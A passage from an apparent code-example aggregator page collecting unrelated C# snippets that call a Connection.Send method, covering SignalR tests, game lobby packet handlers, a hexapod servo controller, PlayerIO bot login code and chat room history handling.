                    {
                        Connection.Send(msg.FailResponse(new DNodeList {
                            new DNodeBinary((int)LoginResponses.AlreadyLoggedIn)
                        }));
                    }
                }
                else
                {
                    Connection.Send(msg.FailResponse(new DNodeList {
                        new DNodeBinary((int)LoginResponses.WrongPassword)
                    }));
                }
            }
            else
            {
                Connection.Send(msg.FailResponse(new DNodeList {
                    new DNodeBinary((int)LoginResponses.InvalidUsername)
                }));
            }
        }
Example #42
0
        /// <summary>
        /// Sends the specified packet.
        /// </summary>
        /// <typeparam name="T">The packet we would like to receive.</typeparam>
        /// <param name="packet">The packet.</param>
        /// <param name="connection">The connection.</param>
        /// <returns>Task&lt;T&gt;.</returns>
        internal async Task <T> Send <T>(Packet packet, Connection connection) where T : ResponsePacket
        {
            object tempObject = new object();

            //Register the packet we would like to receive.
            connection.RegisterPacketHandler <T>(((packetAnswer, c) =>
            {
                receivedAsyncPacket = packetAnswer;
                c.UnRegisterPacketHandler <T>(tempObject);
                packetReceivedEvent.Set();
            }), tempObject);

            //Send the packet normally.
            connection.Send(packet, tempObject);

            //Wait for an answer or till we reach the timeout.
            try
            {
                if (receivedAsyncPacket == null)
                {
                    await packetReceivedEvent.AsTask(TimeSpan.FromMilliseconds(connection.TIMEOUT));
                }
            }
            catch (OverflowException overflowException)
            {
                connection.Logger.Log($"Exception while waiting for async packet occured. Request packet {packet.GetType().Name}", overflowException, Enums.LogLevel.Error);
            }

            //No answer from the endPoint
            if (receivedAsyncPacket == null)
            {
                T emptyPacket = Activator.CreateInstance <T>();
                emptyPacket.State = Enums.PacketState.Timeout;
                return(emptyPacket);
            }

            return((T)receivedAsyncPacket);
        }
Example #43
0
        protected override Task OnReceivedAsync(IRequest request, string connectionId, string data)
        {
            string        userName = HttpContext.Current.User != null ? HttpContext.Current.User.Identity.Name : string.Empty;
            ProgressState ps       = new ProgressState();
            //try
            //{
            ActionData ad = jns.Parse <ActionData>(data);

            //start:开始分配;stop:停止分配
            switch (ad.ActionType)
            {
            case "start":
                Execute(connectionId, data, ps, GetCancellationTokenSource(connectionId).Token, userName);
                break;

            case "stop":
                GetCancellationTokenSource(connectionId).Cancel();
                ps.State = StateType.Stop;
                return(Connection.Send(connectionId, ps.Clone()));

            default:
                break;
            }
            //}
            //catch (Exception e)
            //{
            //    ps.State = StateType.Error;
            //    ps.Messages.Add(e.Message);
            //}
            if (GetCancellationTokenSource(connectionId).Token.IsCancellationRequested)
            {
                ps.Messages.Clear();
                ps.Errors.Clear();
                ps.Messages.Add("用户已中止当前处理!");
            }
            ps.State = StateType.Complete;
            return(Connection.Send(connectionId, ps.Clone()));
        }
        private void OnPlayerChange(GameServerPacket packet)
        {
            int change = packet.ReadByte();
            int pos    = (change >> 4) & 0xF;
            int state  = change & 0xF;

            //TODO tag
            if (pos > 3)
            {
                return;
            }
            if (state < 8)
            {
                string oldname = _room.Names[pos];
                _room.Names[pos]     = null;
                _room.Names[state]   = oldname;
                _room.IsReady[pos]   = false;
                _room.IsReady[state] = false;
            }
            else if (state == (int)PlayerChange.Ready)
            {
                _room.IsReady[pos] = true;
            }
            else if (state == (int)PlayerChange.NotReady)
            {
                _room.IsReady[pos] = false;
            }
            else if (state == (int)PlayerChange.Leave || state == (int)PlayerChange.Observe)
            {
                _room.IsReady[pos] = false;
                _room.Names[pos]   = null;
            }

            if (_room.IsHost && _room.IsReady[0] && _room.IsReady[1])
            {
                Connection.Send(CtosMessage.HsStart);
            }
        }
Example #45
0
        /// <summary>
        ///   Send data to hexapod
        /// </summary>
        public void SendData()
        {
            List <byte> angles = new List <byte>();

            /*
             * add angles from each leg to list (And add 90° to allow negative angles to be sent properly)
             * 0° in List = -90° Leg
             * 180° List = 90° Leg
             * Servomotor is only capable to interpret Angles between 0° and 180°
             */
            foreach (HexaLeg l in legs)
            {
                angles.Add((Byte)(l.Alpha + 90.0));
                angles.Add((Byte)(l.Beta + 90.0));
                angles.Add((Byte)(l.Gamma + 90.0));
            }

            try {
                connection.Send(angles.ToArray(), 0, 18); // send all 18 angles (6 feet * 3 angles/foot)
            } catch (ConnectionError ex) {
                log.WriteLog("[Connection] Coult not send angles:\n" + ex.Message);
            } catch (Exception ex) { throw; }
        }
        private void OnTypeChange(GameServerPacket packet)
        {
            int type = packet.ReadByte();
            int pos  = type & 0xF;

            //TODO tag
            if (_room.IsTag)
            {
                if (pos < 0 || pos > 4)
                {
                    Connection.Close();
                    return;
                }
            }
            else if (pos != 0 && pos != 1)
            {
                Connection.Close();
                return;
            }
            _room.IsHost       = ((type >> 4) & 0xF) != 0;
            _room.IsReady[pos] = true;
            Connection.Send(CtosMessage.HsReady);
        }
Example #47
0
            public async Task PrefixMatchingIsNotGreedyExactMatch()
            {
                using (var host = new MemoryHost())
                {
                    host.Configure(app =>
                    {
                        var config = new ConnectionConfiguration
                        {
                            Resolver = new DefaultDependencyResolver()
                        };

                        app.MapSignalR<MyConnection>("/echo", config);
                        app.MapSignalR<MyConnection2>("/echo2", config);
                    });

                    var tcs = new TaskCompletionSource<string>();
                    var mre = new AsyncManualResetEvent();
                    var connection = new Connection("http://foo/echo");

                    using (connection)
                    {
                        connection.Received += data =>
                        {
                            tcs.TrySetResult(data);
                            mre.Set();
                        };

                        await connection.Start(host);
                        var ignore = connection.Send("");

                        Assert.True(await mre.WaitAsync(TimeSpan.FromSeconds(10)));
                        Assert.Equal("MyConnection", tcs.Task.Result);
                    }
                }
            }
Example #48
0
        public bool Connect(string roomId)
        {
            if (LoggedIn)
            {
                client.Multiplayer.CreateJoinRoom(
                    roomId,
                    "Everybodyedits190",
                    true,
                    null,
                    null,
                    delegate(PlayerIOClient.Connection tempConnection)
                    {
                        connection = tempConnection;
                        connection.Send("init");
                        connection.AddOnDisconnect(new DisconnectEventHandler(onDisconnect));
                        connection.AddOnMessage(new MessageReceivedEventHandler(onMessage));

                        chatSayer = new ChatSayer(this);

                        subBotHandler.onConnect();

                        SafeInvoke.Invoke(mainForm, new Action(() => { mainForm.onConnectFinished(true); }));

                    },
                    delegate(PlayerIOError tempError)
                    {
                        SafeInvoke.Invoke(mainForm, new Action(() => { mainForm.onConnectFinished(false); }));
                        MessageBox.Show(tempError.ToString());
                    });
                return true;
            }
            return false;
        }
Example #49
0
            public async Task ConnectionErrorCapturesExceptionsThrownWhenReceivingResponseFromSend()
            {
                using (var host = new MemoryHost())
                {
                    host.Configure(app =>
                    {
                        var config = new ConnectionConfiguration
                        {
                            Resolver = new DefaultDependencyResolver()
                        };

                        app.MapSignalR<TransportResponse>("/transport-response", config);
                    });

                    var transports = new List<IClientTransport>()
                    {
                        new ServerSentEventsTransport(host),
                        new LongPollingTransport(host)
                    };

                    foreach (var transport in transports)
                    {
                        Debug.WriteLine("Transport: {0}", (object)transport.Name);

                        var wh = new AsyncManualResetEvent();
                        Exception thrown = new InvalidOperationException(),
                                  caught = null;

                        var connection = new Connection("http://foo/transport-response");

                        using (connection)
                        {
                            connection.Received += data =>
                            {
                                throw thrown;
                            };

                            connection.Error += e =>
                            {
                                caught = e;
                                wh.Set();
                            };

                            await connection.Start(transport);
                            var ignore = connection.Send("");

                            Assert.True(await wh.WaitAsync(TimeSpan.FromSeconds(5)));
                            Assert.Equal(thrown, caught);
                        }
                    }
                }
            }
            public async Task ConnectionCanAddAnotherConnectionOnAnotherHostToAGroup()
            {
                using (var host1 = new MemoryHost())
                using (var host2 = new MemoryHost())
                {
                    var sharedBus = new DefaultDependencyResolver().Resolve<IMessageBus>();
                    host1.Configure(app =>
                    {
                        var resolver = new DefaultDependencyResolver();
                        var ackHandler = new SignalR.Infrastructure.AckHandler(
                            completeAcksOnTimeout: true,
                            ackThreshold: TimeSpan.FromSeconds(10),
                            ackInterval: TimeSpan.FromSeconds(1));

                        resolver.Register(typeof(SignalR.Infrastructure.IAckHandler), () => ackHandler);
                        resolver.Register(typeof(IMessageBus), () => sharedBus);

                        app.MapSignalR<MyGroupConnection>("/groups", new ConnectionConfiguration
                        {
                            Resolver = resolver
                        });
                    });
                    host2.Configure(app =>
                    {
                        var resolver = new DefaultDependencyResolver();

                        resolver.Register(typeof(IMessageBus), () => sharedBus);

                        app.MapSignalR<MyGroupConnection>("/groups", new ConnectionConfiguration
                        {
                            Resolver = resolver
                        });
                    });

                    using (var connection1 = new Connection("http://foo/groups"))
                    using (var connection2 = new Connection("http://foo/groups"))
                    {
                        var messageTcs = new TaskCompletionSource<string>();

                        connection2.Received += message =>
                        {
                            messageTcs.SetResult(message);
                        };

                        await connection1.Start(host1);
                        await connection2.Start(host2);

                        await connection1.Send(new
                        {
                            // Add to group
                            type = 1,
                            group = "testGroup",
                            connectionId = connection2.ConnectionId
                        });

                        await connection1.Send(new
                        {
                            // Send to group
                            type = 3,
                            group = "testGroup",
                            message = "testMessage"
                        });

                        Assert.True(messageTcs.Task.Wait(TimeSpan.FromSeconds(10)));
                        Assert.Equal("testMessage", messageTcs.Task.Result);
                    }
                }
            }
Example #51
0
            public void ConnectionErrorCapturesExceptionsThrownWhenReceivingResponseFromSend()
            {
                using (var host = new MemoryHost())
                {
                    host.Configure(app =>
                    {
                        app.MapConnection<TransportResponse>("/transport-response");
                    });

                    var transports = new List<IClientTransport>()
                    {
                        new ServerSentEventsTransport(host),
                        new LongPollingTransport(host)
                    };

                    foreach (var transport in transports)
                    {
                        Debug.WriteLine("Transport: {0}", (object)transport.Name);

                        var wh = new ManualResetEventSlim();
                        Exception thrown = new Exception(),
                                  caught = null;

                        var connection = new Connection("http://foo/transport-response");

                        connection.Received += data =>
                        {
                            throw thrown;
                        };

                        connection.Error += e =>
                        {
                            caught = e;
                            wh.Set();
                        };

                        connection.Start(transport).Wait();
                        connection.Send("");

                        Assert.True(wh.Wait(TimeSpan.FromSeconds(5)));
                        Assert.IsType(typeof(AggregateException), caught);
                        Assert.Equal(thrown, caught.InnerException);
                    }
                }
            }
Example #52
0
            public void PrefixMatchingIsNotGreedyNotStartingWithSlashes()
            {
                using (var host = new MemoryHost())
                {
                    host.Configure(app =>
                    {
                        app.MapConnection<MyConnection>("echo");
                        app.MapConnection<MyConnection2>("echo2");
                    });

                    var tcs = new TaskCompletionSource<string>();
                    var connection = new Connection("http://foo/echo2");

                    connection.Received += data =>
                    {
                        tcs.TrySetResult(data);
                    };

                    connection.Start(host).Wait();
                    connection.Send("");

                    Assert.Equal("MyConnection2", tcs.Task.Result);
                }
            }
        public virtual void WriteBodyToConnection(Connection connection)
        {
            try
            {
                Byte[] lBuffer;

                if (HasOnTransferProgress)
                {
                    connection.OnBytesSent += new EventHandler(HandleOnBytesSent);
                    connection.ResetStatistics();
                }

                switch (ContentSource)
                {
                    case ContentSource.ContentBytes:
                        TriggerOnTransferStart(TransferDirection.Send, ContentBytes.Length);
                        connection.Send(ContentBytes);
                        TriggerOnTransferEnd(TransferDirection.Send);
                        break;

                    case ContentSource.ContentStream:
                        TriggerOnTransferStart(TransferDirection.Send, ContentStream.Length);
                        lBuffer = new Byte[BUFFER_SIZE];
                        Int32 lBytesRead;
                        do
                        {
                            lBytesRead = ContentStream.Read(lBuffer, 0, BUFFER_SIZE);
                            if (lBytesRead != 0) connection.Send(lBuffer, 0, lBytesRead);
                        }
                        while (lBytesRead > 0);

                        if (CloseStream)
                            ContentStream.Close();

                        TriggerOnTransferEnd(TransferDirection.Send);
                        break;

                    case ContentSource.ContentNone:
                        /* Nothing to do */
                        break;
                }

                if (HasOnTransferProgress)
                    connection.OnBytesSent -= new EventHandler(HandleOnBytesSent);
            }
            finally
            {
                fContentBytes = null;
                fContentStream = null;
                fContentString = null;
            }
        }
    private void OnJoinedRoom(Connection connection)
    {
        errorRetryCountdown.TimeLeft = 0;

        AddDebugLine("Joined Room.");
        // We successfully joined a room so set up the message handler
        Connection = connection;
        Connection.OnMessage += OnPlayerIOMessage;
        Connection.OnDisconnect += OnDisconnect;
        joinedRoom = true;

        foreach (var message in queuedMessages)
        {
            Debug.Log(message.Type);
            Connection.Send(message);
        }
        queuedMessages.Clear();
    }
Example #55
0
        // Initialise the database model from the server
        public static Tuple<User, Room> Initialise(Connection Server, ConnectMessage Msg)
        {
            try
            {
                // Thread safe
                Monitor.Enter(Lock);

                // Reset the signal that's set when the data's received
                if (InitialisedEvent == null)
                    InitialisedEvent = new ManualResetEvent(false);
                InitialisedEvent.Reset();

                // Reset the signal that's set when the user information's received
                if (UserEvent == null)
                    UserEvent = new ManualResetEvent(false);
                UserEvent.Reset();

                // Set the current server
                DataRepository.Server = Server;

                // Hook up network events
                Server.MessageReceived += MessageReceived;
                Server.Disconnect += Disconnected;

                // Hook up data changed events
                _Bookings.CollectionChanged += Data_CollectionChanged;
                _Departments.CollectionChanged += Data_CollectionChanged;
                _Rooms.CollectionChanged += Data_CollectionChanged;
                _Users.CollectionChanged += Data_CollectionChanged;
                _Subjects.CollectionChanged += Data_CollectionChanged;
                _Periods.CollectionChanged += Data_CollectionChanged;
                _Classes.CollectionChanged += Data_CollectionChanged;

                // Send the connection message
                Server.Send(Msg);
            }
            catch
            {
                return null;
            }
            finally
            {
                // Release the lock
                Monitor.Exit(Lock);
            }

            try
            {
                // Wait for both signals to fire, signalling completion
                InitialisedEvent.WaitOne();
                UserEvent.WaitOne();
            }
            catch
            {
                // Disconnected during initialise
                return null;
            }

            // Return the User and their Room (grouped together for easy return value)
            return new Tuple<User, Room>(CurrentUser, CurrentRoom);
        }
Example #56
0
        private static void RunStreamingSample()
        {
            var connection = new Connection("http://localhost:40476/Raw/raw");

            connection.Received += data =>
            {
                Console.WriteLine(data);
            };

            connection.Reconnected += () =>
            {
                Console.WriteLine("[{0}]: Connection restablished", DateTime.Now);
            };

            connection.Error += e =>
            {
                Console.WriteLine(e);
            };

            connection.Start().Wait();

            string line = null;
            while ((line = Console.ReadLine()) != null)
            {
                connection.Send(new { type = 1, value = line });
            }
        }
Example #57
0
        private static void RunStreamingSample()
        {
            var connection = new Connection("http://localhost:8081/Raw/raw");

            connection.Received += data =>
            {
                Console.WriteLine(data);
            };

            connection.Reconnected += () =>
            {
                Console.WriteLine("[{0}]: Connection restablished", DateTime.Now);
            };

            connection.StateChanged += change =>
            {
                Console.WriteLine(change.OldState + " => " + change.NewState);
            };

            connection.Error += e =>
            {
                Console.Error.WriteLine("========ERROR==========");
                Console.Error.WriteLine(e.GetBaseException());
                Console.Error.WriteLine("=======================");
            };

            Console.WriteLine("Choose transport:");
            Console.WriteLine("1. AutoTransport");
            Console.WriteLine("2. ServerSentEventsTransport");
            Console.WriteLine("3. LongPollingTransport");
            Console.Write("Option: ");

            Task startTask = null;

            var key = Console.ReadKey(false);
            Console.WriteLine();

            if (key.Key == ConsoleKey.D1)
            {
                startTask = connection.Start();
            }
            else if (key.Key == ConsoleKey.D2)
            {
                startTask = connection.Start(new Client.Transports.ServerSentEventsTransport());
            }
            else if (key.Key == ConsoleKey.D3)
            {
                startTask = connection.Start(new Client.Transports.LongPollingTransport());
            }

            var wh = new ManualResetEvent(false);
            startTask.ContinueWith(task =>
            {
                try
                {
                    task.Wait();
                }
                catch(Exception ex)
                {
                    Console.Error.WriteLine("========ERROR==========");
                    Console.Error.WriteLine(ex.GetBaseException());
                    Console.Error.WriteLine("=======================");
                    return;
                }

                string line = null;
                while ((line = Console.ReadLine()) != null)
                {
                    connection.Send(new { type = 1, value = line });
                }

                wh.Set();
            });

            wh.WaitOne();
        }
Example #58
0
        /// <summary>
        /// Called when somebody joins the room. Should call base.
        /// </summary>
        public virtual void SendHistory(Connection connection)
        {
            if (IsPrivate)
            {
                if (connection.Session == null)
                {
                    ClearScrollbackFor(connection);
                    connection.SendSysMessage("You must login to view this room.");
                    return;
                }

                if (IsBanned(connection.Session.Account.Name))
                {
                    ClearScrollbackFor(connection);
                    connection.SendSysMessage("You are banned from this room.");
                    return;
                }
            }

            var lines = GetHistoryLines(connection);
            var chatHistory = new ChatHistory { ShortName = RoomInfo.ShortName, Requested = false, Lines = lines };
            connection.Send(chatHistory);
        }
Example #59
0
 private void button1_Click(object sender, EventArgs e)
 {
     CheckForIllegalCrossThreadCalls = false;
     //Connection code
     if (!isConnected)
     {
         //Bot is not connected and will connect
         try
         {
             client = PlayerIO.QuickConnect.SimpleConnect("eehw11-uzvrgq6urkyo6tdtrgm1ra", login_email.Text, login_password.Text);
             con = client.Multiplayer.CreateJoinRoom(login_worldid.Text, "Game11", true, new Dictionary<string, string>(), new Dictionary<string, string>());
             con.Send("botinit");
             con.OnMessage += new MessageReceivedEventHandler(handlemsg);
             isConnected = true;
             login_button.Text = "Disconnect";
         }
         catch (PlayerIOError oops)
         {
             MessageBox.Show(Convert.ToString(oops), "There was an error during the log in. Check your log in data.", MessageBoxButtons.OK, MessageBoxIcon.Error);
         }
         catch (Exception oops2)
         {
             MessageBox.Show(Convert.ToString(oops2), "There was an error during the log in. Check your log in data.", MessageBoxButtons.OK, MessageBoxIcon.Error);
         }
     }
     else
     {
         //Bot is connected and will disconnect
         isConnected = false;
         say("Disconnecting...");
         con.Disconnect();
         login_button.Text = "Log in";
     }
 }
Example #60
0
 private void ClearScrollbackFor(Connection connection)
 {
     var chatHistory = new ChatHistory { ShortName = RoomInfo.ShortName, Requested = false, Lines = new List<HistoryLine>() };
     connection.Send(chatHistory);
 }